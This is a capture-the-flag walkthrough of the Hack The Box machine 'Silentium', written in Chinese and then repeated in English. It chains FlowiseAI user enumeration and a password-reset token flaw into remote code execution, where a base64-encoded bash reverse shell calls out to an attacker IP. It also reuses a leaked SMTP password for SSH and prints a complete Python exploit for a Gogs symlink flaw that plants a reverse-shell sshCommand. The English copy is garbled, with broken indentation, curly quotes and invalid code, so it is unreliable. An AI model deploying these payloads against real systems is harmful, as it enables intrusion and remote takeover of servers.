htb silentium

枚举

# Nmap 7.98 scan initiated Mon Apr 13 12:41:02 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 13 12:41:14 2026 -- 1 IP address (1 host up) scanned in 11.65 seconds

打开80端口没发现有价值的东西

vhost

进行模糊测试

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging

利用

进入staging.silentium.htb后是一个FlowiseAI的登陆界面,根据输入账号密码后的响应,可以进行用户名枚举。当速度过快时会出现状态码500,特殊字符400,用户不在404,所以进行模糊测试

ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,404,400
# ben                     [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]

发送后得到tempToken,搜索后得到CVE-2025-58434

这个tempToken是用户在重置密码时有效的token,立即使用

图片.png

登陆后搜索得到CVE-2025-59528 进行利用

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
    }
  }'

USER

进行简单的基础枚举

env
# SMTP_PASSWORD=r04D!!_R4ge

尝试SSH

ssh ben@silentium.htb
# 输入r04D!!_R4ge

ROOT

基础枚举发现一个3001端口

ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>

                <meta name="author" content="Gogs" />
                <meta name="description" content="Gogs is a painless self-hosted Git service" />
                <meta name="keywords" content="go, git, self-hosted, gogs">

是一个Gogs网站转发端口看一下ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

ps aux
# root        1537  0.0  1.9 1665124 77864 ?       Ssl  02:31   0:02 /opt/gogs/gogs/gogs web

是root在运行这这个网站,搜索一下相关漏洞CVE-2025-8110,修改一下脚本:

删掉了 register() 函数和所有注册逻辑

账号密码改成自己注册的 123:123

完整脚本

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

"""Exploit script for CVE-2025-8110 in Gogs."""

__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/"

def login(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True,
    )
    if "user/login" in resp.url:
        console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
        raise ValueError("Authentication failed")
    console.print("[bold green][+] Authenticated successfully[/bold green]")
    return session.cookies

def get_application_token(session, base_url):
    """Retrieve application token from settings."""
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)
    console.print(f"[blue]Token generation status: {resp.status_code}[/blue]")
    soup = BeautifulSoup(resp.text, "html.parser")
    token_div = soup.find("div", class_="ui info message")
    if not token_div:
        raise ValueError("Application token not found")
    token = token_div.find("p").text.strip()
    console.print(f"[bold green][+] Application token: {token}[/bold green]")
    return token

def create_malicious_repo(session, base_url, token):
    """Create a repository with a malicious payload."""
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "description": "Malicious repo for CVE-2025-8110",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)
    console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
    if resp.status_code != 201:
        console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
        raise ValueError(f"Repo creation failed: {resp.text}")
    console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
    return repository_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    """Clone a repo, add a symlink, commit, and push it."""
    repo_dir = f"/tmp/{repo_name}"

    parsed_url = urlparse(base_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        raise ValueError("Base URL must include scheme (e.g., http://host)")
    base_path = parsed_url.path.rstrip("/")

    clone_cmd = [
        "git",
        "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]

    symlink_path = os.path.join(repo_dir, "malicious_link")

    try:
        if os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)

        console.print("[blue][*] Cloning repository...[/blue]")
        subprocess.run(clone_cmd, check=True)

        os.symlink(".git/config", symlink_path)
        console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")

        subprocess.run(
            ["git", "add", "malicious_link"],
            cwd=repo_dir,
            check=True,
        )

        subprocess.run(
            ["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
             "commit", "-m", "Add malicious symlink"],
            cwd=repo_dir,
            check=True,
        )

        console.print("[blue][*] Pushing symlink to remote...[/blue]")
        subprocess.run(
            ["git", "push", "origin", "master"],
            cwd=repo_dir,
            check=True,
        )
        console.print("[bold green][+] Symlink pushed successfully[/bold green]")

    except subprocess.CalledProcessError as e:
        raise ValueError(f"Git command failed: {e}") from e
    except OSError as e:
        raise ValueError(f"Filesystem operation failed: {e}") from e

def exploit(session, base_url, token, username, repo_name, command):
    """Exploit CVE-2025-8110 to execute arbitrary commands."""
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    console.print("[bold yellow][*] Sending exploit payload via API...[/bold yellow]")
    resp = session.put(api, json=data, headers=headers, timeout=5)
    console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
    console.print("[bold green][+] Exploit sent, check your listener![/bold green]")

def extract_csrf(html_text):
    """Parse CSRF token from hidden input."""
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name=_csrf]")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    raise ValueError("CSRF token not found in form response")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    args = parser.parse_args()

    username = "123"
    password = "123"

    session = requests.Session()
    session.verify = False

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    try:
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)

        git_config = f"""[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
	url = git@localhost:gogs/{repo_name}.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
"""
        upload_malicious_symlink(args.url, username, password, repo_name)
        exploit(session, args.url, token, username, repo_name, git_config)

    except Exception as e:
        console.print(f"[bold red][-] Error: {e}[/bold red]")

if __name__ == "__main__":
    main()

htb silentium

Enumeration

# Nmap 7.98 scan initiated on Monday, April 13, 2026, at 12:41:02 as follows:
# /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
The host is up (latency: 0.077 seconds).
998 closed TCP ports were not displayed (reset).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 (Ubuntu 3ubuntu13.15; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection has been completed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap completed on Monday, April 13, 20261 IP address (1 host up) scanned in 11.65 seconds.

No valuable information was found by opening port 80.

vhost

Fuzzy testing was performed:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging

Exploitation

Upon entering staging.silentium.htb, a login interface for FlowiseAI is displayed. Username enumeration can be attempted based on the response received after entering the username and password. If the speed is too fast, status codes 500 or 400 may be returned; if the user does not exist, a 404 status code is displayed. Therefore, fuzzy testing was conducted.

ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,400,404

ben [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]

After sending the request, a tempToken was obtained. Searching for this token revealed the CVE-2025-58434 vulnerability (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph). This tempToken is valid for password reset and should be used immediately.

Image.png

After logging in, the CVE-2025-59528 vulnerability was found and can be exploited using the following command:

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
  }
}

USER account

A simple basic enumeration was performed using the environment variable SMTP_PASSWORD (r04D!!_R4ge):

env
# SMTP_PASSWORD=r04D!!_R4ge

An attempt was made to log in using SSH:

ssh ben@silentium.htb
# Password: r04D!!_R4ge

ROOT account

Basic enumeration revealed a port open on port 3001:

ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
        
    <meta name="author" content="Gogs" />
    <meta name="description" content="Gogs is a painless self-hosted Git service" />
    <meta name="keywords" content="go, git, self-hosted, gogs">

It appears to be a Gogs website. To test the port forwarding, use the following command:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

Finally, the system processes were listed using ps aux:

ps aux

The script is being executed by the user with the root account (ID: 1537), with a CPU usage of 0.0%, memory usage of 1.9%, and a process ID of 1665124. It is running on the /opt/gogs/gogs directory.

Search for the related vulnerability CVE-2025-8110, and modify the script as follows:

The register() function and all registration-related logic have been removed. The account and password have been changed to 123:123, which were used during the initial registration.

Complete script:

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console

urllib3.disableWarnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

"""Exploit script for CVE-2025-8110 in Gogs."""
__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/

def login(session, base_url, username, password):
    """Authenticate and retrieve the CSRF token and session cookie."""
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True,
    )
    if "user/login" in resp.url:
        console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
        raise ValueError("Authentication failed")
    console.print("[bold green][+] Authenticated successfully[/bold green]")
    return session.cookies

def get_application_token(session, base_url):
    """Retrieve the application token from the settings."""
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

data = {“csrf”: csrf, “name”: os.urandom(8).hex()} resp = session.post(settings_url, data=data, allow_redirects=True) console.print(f”[blue]Token generation status: {resp.status_code}[/blue]”) soup = BeautifulSoup(resp.text, “html.parser”) token_div = soup.find(“div”, class=“ui info message”) if not token_div: raise ValueError(“Application token not found”) token = token_div.find(“p”).text.strip() console.print(f”[bold green][+] Application token: {token}[/bold green]”) return token

def create_malicious_repo(session, base_url, token):
    """Create a repository with a malicious payload."""
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "description": "Malicious repo for CVE-2025-8110",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)
    console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
    if resp.status_code != 201:
        console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
        raise ValueError(f"Repo creation failed: {resp.text}")
    console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
    return repository_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    """Clone a repo, add a symlink, commit, and push it."""
    repo_dir = f"/tmp/{repo_name}"

    parsed_url = urlparse(base_url)
    if not parsed_urlscheme or not parsed_url.netloc:
        raise ValueError("Base URL must include a scheme (e.g., http://host)")
    base_path = parsed_url.path.rstrip("/")

    clone_cmd = [
        "git",
        "clone",
        f"{parsed_urlscheme}://{username}:{password}@{parsed_url.netloc}",
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]

symlink_path = os.path.join(repo_dir, “malicious_link”)

try:
    if os.path.exists(repo_dir):
        shutil.rmtree(repo_dir)

    console.print("[blue][*] Cloning the repository...[/blue]")
    subprocess.run(clone_cmd, check=True)

    os.symlink(".git/config", symlink_path)
    console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")

    subprocess.run(
        ["git", "add", "malicious_link"],
        cwd=repo_dir,
        check=True,
    )

    subprocess.run(
        ["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
         "commit", "-m", "Add the malicious symlink"],
        cwd=repo_dir,
        check=True,
    )

    console.print("[blue][*] Pushing the symlink to the remote repository...[/blue]")
    subprocess.run(
        ["git", "push", "origin", "master"],
        cwd=repo_dir,
        check=True,
    )
    console.print("[bold green][+] The symlink was successfully pushed[/bold green]")

except subprocess.CalledProcessError as e:
    raise ValueError(f"Git command failed: {e}")
except OSError as e:
    raise ValueError(f"Filesystem operation failed: {e}")
def exploit(session, base_url, token, username, repo_name, command):
    """Exploits the CVE-2025-8110 vulnerability to execute arbitrary commands."""
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploiting CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    console.print("[bold yellow][*] Sending the exploit payload via API...[/bold yellow]")
    resp = session.put(api, json=data, headers=headers, timeout=5)
    console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
    console.print("[bold green][+] The exploit has been sent; check your listener![/bold green]")

def extract_csrf(html_text):
    """Extracts the CSRF token from hidden form fields."""
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name=_csrf]")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    raise ValueError("CSRF token not found in the form response")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    args = parser.parse_args()

    username = "123"
    password = "123"

    session = requests.Session()
    session.verify = False

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    try:
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)
git_config = f"""[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = {command}
[remote "origin"]
    url = git@localhost:gogs/{repo_name}.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
"""

upload_malicious_symlink(args.url, username, password, repo_name)
exploit(session, args.url, token, username, repo_name, git_config)

except Exception as e:
    console.print(f"[bold red][-] Error: {e}[/bold red]")

if __name__ == "__main__":
    main()